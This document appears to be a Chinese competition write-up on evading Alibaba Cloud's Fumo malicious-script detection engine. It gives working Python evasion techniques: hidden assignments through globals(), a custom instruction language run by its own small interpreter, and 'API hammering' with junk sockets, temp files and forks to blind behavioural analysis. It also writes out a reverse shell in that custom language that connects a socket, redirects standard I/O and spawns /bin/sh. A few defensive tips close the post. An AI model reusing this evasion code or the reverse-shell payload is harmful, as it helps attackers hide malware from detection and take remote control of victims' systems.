实现另一个“编程语言” - 记第四届伏魔挑战赛恶意脚本免杀
字数 1146 2025-08-29 08:29:41

伏魔挑战赛恶意脚本免杀技术深度解析

1. 伏魔挑战赛概述

伏魔挑战赛是阿里云举办的Webshell和恶意脚本免杀比赛,选手需要编写能够绕过伏魔引擎检测的恶意脚本。比赛特点:

  • 奖金丰厚:每个不重复样本可获得400元奖金
  • 检测技术先进:结合静态分析、行为检测和深度学习
  • 难度逐年提升:相比前几届,检测能力显著增强

2. 伏魔引擎技术分析

2.1 检测技术组成

  • 静态分析:解析代码结构,跟踪变量和函数调用
  • 行为检测:监控系统调用和运行时行为
  • 深度学习:基于模式识别的恶意代码检测

2.2 传统免杀手法失效原因

  • 字符串拼接/替换:静态分析可解析执行得出最终值
  • Base64编码:可被解码还原
  • 动态函数调用:可被跟踪分析
  • 数组映射(array_map):可被解析执行

3. 高级免杀技术详解

3.1 污染全局变量技术

# 传统赋值
a = 1

# 免杀赋值
globals()["a"] = 1  # 通过字典操作隐藏赋值行为

3.2 字符串格式化高级用法

class Data:
    aaa = 114
    
# 通过对象属性访问隐藏真实意图
s = "{0.aaa}".format(Data())  # 输出114

3.3 自创编程语言技术(核心方法)

3.3.1 基本思路

将恶意脚本分为两部分:

  1. 解释器:用Python编写,负责解析执行
  2. 脚本:用自创语言编写实际恶意功能

3.3.2 实现示例

# 自创语言的"汇编"指令
actions = [
    ["set_val", "author", "Marven11"],
    ["set_val", "hp", ("127.0.0.1", 1234)],
    ["set_var_g", "hammer", "hammer"],
    # 更多指令...
]

# 解释器实现
d = {}
for fn, *args in actions:
    if fn == "set_val":
        d[args[0]] = args[1]
    elif fn == "set_var_g":
        d[args[0]] = globals()[args[1]]
    # 更多指令处理...

3.3.3 指令集设计

指令 功能 对应Python代码
set_val 设置常量 var = value
set_var 变量赋值 a = b
getattr 获取属性 a = b.c
call 函数调用 a = func(args)
apply 导入模块 mod = __import__(name)

3.4 API Hammering技术(绕过行为检测)

def hammer():
    import random
    file = None
    n = random.randint(3000, 5000)
    for _ in range(n):
        p = random.random()
        if p < 0.5:
            import socket
            socket.socket(2, 1)  # 创建无用socket
        elif p < 0.98:
            import tempfile
            if file and Path(file).exists():
                Path(file).unlink()
            file = tempfile.mktemp()  # 创建临时文件
        else:
            import os
            p = os.fork()  # 创建无用进程
            if p == 0: exit()

技术要点:

  1. 在关键操作之间插入大量无用系统调用
  2. 随机化调用类型和频率
  3. 干扰行为分析引擎的模式识别

4. 完整免杀流程示例

4.1 反弹Shell实现步骤

  1. 导入必要模块(隐蔽方式)
  2. 创建socket连接
  3. 重定向标准I/O
  4. 生成交互式shell

4.2 对应自创语言实现

actions = [
    # 1. 导入os模块
    ["set_var_g", "im", "pprint"],
    ["getattr", "im", "__globals__"],
    ["getitem", "im", "__import__"],
    ["set_val", "oo", "os"],
    ["apply", "oo", "im"],
    
    # 2. 创建socket连接
    ["set_val", "skt", "socket"],
    ["apply", "skt", "im"],
    ["set_var", "s", "skt"],
    ["getattr", "s", "socket"],
    ["call", "s", "2", "1"],
    ["getattr", "s_conn", "connect"],
    ["call", "s_conn", "hp"],
    
    # 3. 重定向I/O
    ["getattr", "s_fno", "fileno"],
    ["call", "s_fno"],
    ["set_var", "dup", "oo"],
    ["getattr", "dup", "dup2"],
    ["call", "dup", "s_fno", "0"],
    # 重复类似操作重定向stdout/stderr
    
    # 4. 生成shell
    ["set_var", "spawn", "oo"],
    ["getattr", "spawn", "posix_spawn"],
    ["set_val", "sh", Path("/bin")],
    ["div", "sh", "sh"],
    ["tolist", "sh2"],
    ["call", "spawn", "sh", "sh2", "env"]
]

5. 其他高级技巧

5.1 基于AST的绕过思路

  • 利用注释干扰AST解析
  • 非常规代码结构破坏静态分析

5.2 第三届比赛技巧

# 类Brainfuck的自创语言实现
content = "39+9/*0+39+9/*3+19+9/*7+29+9/*1+29+9/*2+39+9/*6+6'@..."

class Loader:
    def __init__(self, content):
        self.content = content
        
    def load(self):
        # 实现解释器
        stack = []
        obst = []
        while p < len(content):
            c = content[p]
            if c.isdigit():
                stack.append(int(c))
            elif c == "+":
                stack.append(stack.pop() + stack.pop())
            # 更多指令处理...
        return output

6. 防御建议

对于防御方,可从以下方面加强检测:

  1. 增强解释器模式识别能力
  2. 分析API调用序列的语义
  3. 检测异常的系统调用密度
  4. 监控非常规的代码结构

7. 总结

本文详细分析了伏魔挑战赛中的高级免杀技术,核心要点包括:

  1. 通过自创编程语言绕过静态分析
  2. 使用API Hammering干扰行为检测
  3. 利用Python高级特性隐藏恶意行为
  4. 分阶段实现复杂功能避免模式匹配

这些技术展示了现代恶意脚本与检测引擎对抗的复杂性和技术深度。

伏魔挑战赛恶意脚本免杀技术深度解析 1. 伏魔挑战赛概述 伏魔挑战赛是阿里云举办的Webshell和恶意脚本免杀比赛,选手需要编写能够绕过伏魔引擎检测的恶意脚本。比赛特点: 奖金丰厚:每个不重复样本可获得400元奖金 检测技术先进:结合静态分析、行为检测和深度学习 难度逐年提升:相比前几届,检测能力显著增强 2. 伏魔引擎技术分析 2.1 检测技术组成 静态分析 :解析代码结构,跟踪变量和函数调用 行为检测 :监控系统调用和运行时行为 深度学习 :基于模式识别的恶意代码检测 2.2 传统免杀手法失效原因 字符串拼接/替换:静态分析可解析执行得出最终值 Base64编码:可被解码还原 动态函数调用:可被跟踪分析 数组映射(array_ map):可被解析执行 3. 高级免杀技术详解 3.1 污染全局变量技术 3.2 字符串格式化高级用法 3.3 自创编程语言技术(核心方法) 3.3.1 基本思路 将恶意脚本分为两部分: 解释器:用Python编写,负责解析执行 脚本:用自创语言编写实际恶意功能 3.3.2 实现示例 3.3.3 指令集设计 | 指令 | 功能 | 对应Python代码 | |------|------|---------------| | set_ val | 设置常量 | var = value | | set_ var | 变量赋值 | a = b | | getattr | 获取属性 | a = b.c | | call | 函数调用 | a = func(args) | | apply | 导入模块 | mod = __import__(name) | 3.4 API Hammering技术(绕过行为检测) 技术要点: 在关键操作之间插入大量无用系统调用 随机化调用类型和频率 干扰行为分析引擎的模式识别 4. 完整免杀流程示例 4.1 反弹Shell实现步骤 导入必要模块(隐蔽方式) 创建socket连接 重定向标准I/O 生成交互式shell 4.2 对应自创语言实现 5. 其他高级技巧 5.1 基于AST的绕过思路 利用注释干扰AST解析 非常规代码结构破坏静态分析 5.2 第三届比赛技巧 6. 防御建议 对于防御方,可从以下方面加强检测: 增强解释器模式识别能力 分析API调用序列的语义 检测异常的系统调用密度 监控非常规的代码结构 7. 总结 本文详细分析了伏魔挑战赛中的高级免杀技术,核心要点包括: 通过自创编程语言绕过静态分析 使用API Hammering干扰行为检测 利用Python高级特性隐藏恶意行为 分阶段实现复杂功能避免模式匹配 这些技术展示了现代恶意脚本与检测引擎对抗的复杂性和技术深度。